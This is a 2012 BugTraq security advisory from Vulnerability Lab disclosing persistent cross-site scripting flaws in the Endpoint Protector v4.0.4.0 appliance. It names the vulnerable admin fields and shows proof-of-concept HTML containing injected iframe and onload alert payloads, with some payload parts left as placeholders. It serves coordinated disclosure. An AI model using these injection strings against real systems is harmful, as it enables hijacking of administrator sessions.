BugTraq
Endpoint Protector v4.0.4.0 - Multiple Web Vulnerabilities Oct 08 2012 02:43PM
Vulnerability Lab (research vulnerability-lab com)
Title:
======
Endpoint Protector v4.0.4.0 - Multiple Web Vulnerabilities

Date:
=====
2012-10-01

References:
===========
http://www.vulnerability-lab.com/get_content.php?id=571

VL-ID:
=====
571

Common Vulnerability Scoring System:
====================================
5

Introduction:
=============
Endpoint Protector 4 protect your network from the threats posed by portable storage devices. Portable devices such
as USB flash drives and smartphones may cause severe issues when it comes to controlling data use within and outside
the company. As a full DLP product, Endpoint Protector 4 prevents users from taking unauthorized data outside the
company or bringing potential harmful files on USB devices, files which can have a significant impact
on your networkâ??s health.

(Copy of the Vendor Homepage: http://www.endpointprotector.com/products/endpoint_protector )

Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple Web Vulnerabilities in the Endpoint Protector v4.0.4.0 Appliance.

Report-Timeline:
================
2012-05-13: Researcher Notification & Coordination
2012-05-15: Vendor Notification
2012-05-20: Vendor Response/Feedback
2012-**-**: Vendor Fix/Patch
2012-10-01: Public or Non-Public Disclosure

Status:
========
Published

Affected Products:
==================
Endpoint
Product: Protector v4.0.4.0

Exploitation-Technique:
=======================
Remote

Severity:
=========
High

Details:
========
Multiple persistent input validation vulnerabilities are detected in Endpoint Protector v4.0.4.0 Appliance Application.
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent)
context manipulation. Exploitation requires low user inter action. The bug is located on the listing of the username
& description result pages. The bug affect all result listings inside of the application and all username and description
input fields. Another issues is located in the Domain Controller Name of the Directory Service & in the name, host +
description of the department or snapshot configuration.

Vulnerable Module(s):
[+] Directory Service > Active Directory Import, Active Directory Deployment & AD Sync > Domain Controller Server Name
[+] EndPoint Management > Users, Groups, Computers & Devices > Username, First Name, Last Name, Department, Phone & E-mail
[+] System Maintance > System Snapshots > List Available Snapshots > Name & Description
[+] System Configuration > System Departments > Edit Department > Name & Description

Proof of Concept:
=================
The persistent vulnerabilities can be exploited by remote attacker with low privileged user account or via medium or high required user inter action.
For demonstration or reproduce ...

Review: Groups Management Listing

<tr class="sf_admin_row_0_hover" style="border-left: 1px solid rgb(239, 239, 239);" onmouseover="this.className='sf_admin_row_0_hover'" onmouseout="this.className='sf_admin_row_0'" onmouseup="whichButton(event, this, 'id', '4' );return false">
<td>"><iframe src="Endpoint%20Protector%204%20-%20Reporting%20and%20Administration%20T
ool-Dateien/a.htm" onload='alert("VL")' <="" td="">
<td>"><[PERSISTENT SCRIPT CODE CONTEXT EXECUTION!] < </td>
<td>Taylor </td>
<td>Default Department </td>
<td> </td>
<td> </td>
<td>13-May-2012 05:08:24 </td>
<td>demo </td>

Review: User Management Listing

<tr class="sf_admin_row_1_hover" style="border-left: 1px solid rgb(239, 239, 239);" onmouseover="this.className='sf_admin_row_1_hover'" onmouseout="this.className='sf_admin_row_1'" onmouseup="whichButton(event, this, 'id', '4' );return false">
<td>bla </td>
<td>>"<iframe src="Endpoint%20Protector%204%20-%20Reporting%20and%20Administration%20T
ool-2-Dateien/index.htm">
</td>
<td>>"<[PERSISTENT SCRIPT CODE CONTEXT EXECUTION!]> </td>
<td>Default Department </td>
<td> </td>
<td> </td>
<td>13-May-2012 05:19:02 </td>
<td>test </td>
<td>

Review: Active Directory Import - Domain Controller Name

<div id="ext-genlist4" class="x-panel-bwrap">
<div class="x-panel-ml">
<div class="x-panel-mr">
<div class="x-panel-mc">
<div style="width: 100%;height:300px" id="ext-genlist5" class="x-panel-body">
<div style="height:270px;display:block" align="left">

<div class="form-row">
<label for="active_directory_server_name" style="width: 250px">Domain Controller Server Name:</label> <div class="content">
<input name="active_directory[domaincontroller]" type="text"><iframe src="Endpoint%20Protector%204%20-%20Reporting%20and%20Administration%20T
ool-6-[PERSISTENT SCRIPT CODE CONTEXT EXECUTION!]' <"="" size="30">
Example: w2003server
</div>

Review: List of Computers, Users or Groups in Details Edit Checklist Name

<ul class="sf_admin_checklist">
<li><input name="associated_group[]" id="associated_group_1" value="1" type="checkbox"> <label for="associated_group_1">sali</label></li>
<li><input name="associated_group[]" id="associated_group_2" value="2" type="checkbox"> <label for="associated_group_2">allow</label></li>
<li><input name="associated_group[]" id="associated_group_3" value="3" type="checkbox"> <label for="associated_group_3">IT Support</label></li>
<li><input name="associated_group[]" id="associated_group_4" value="4" type="checkbox"> <label for="associated_group_4">allowvpn</label></li>
<li><input name="associated_group[]" id="associated_group_5" value="5" type="checkbox"> <label for="associated_group_5">Gruppe-No-USB</label></li>
<li><input name="associated_group[]" id="associated_group_6" value="6" type="checkbox"> <label for="associated_group_6">"><iframe src="Endpoint%20Protector%204%20-%20Reporting%20and%20Administration%20T
ool-5-[PERSISTENT SCRIPT CODE CONTEXT EXECUTION!]' <<="" label=""></li>
</ul>

Risk:
=====
The security risk of the persistent input validation vulnerabilities are estimated as high(-).

Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm (at) vulnerability-lab (dot) com [email concealed])

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===========
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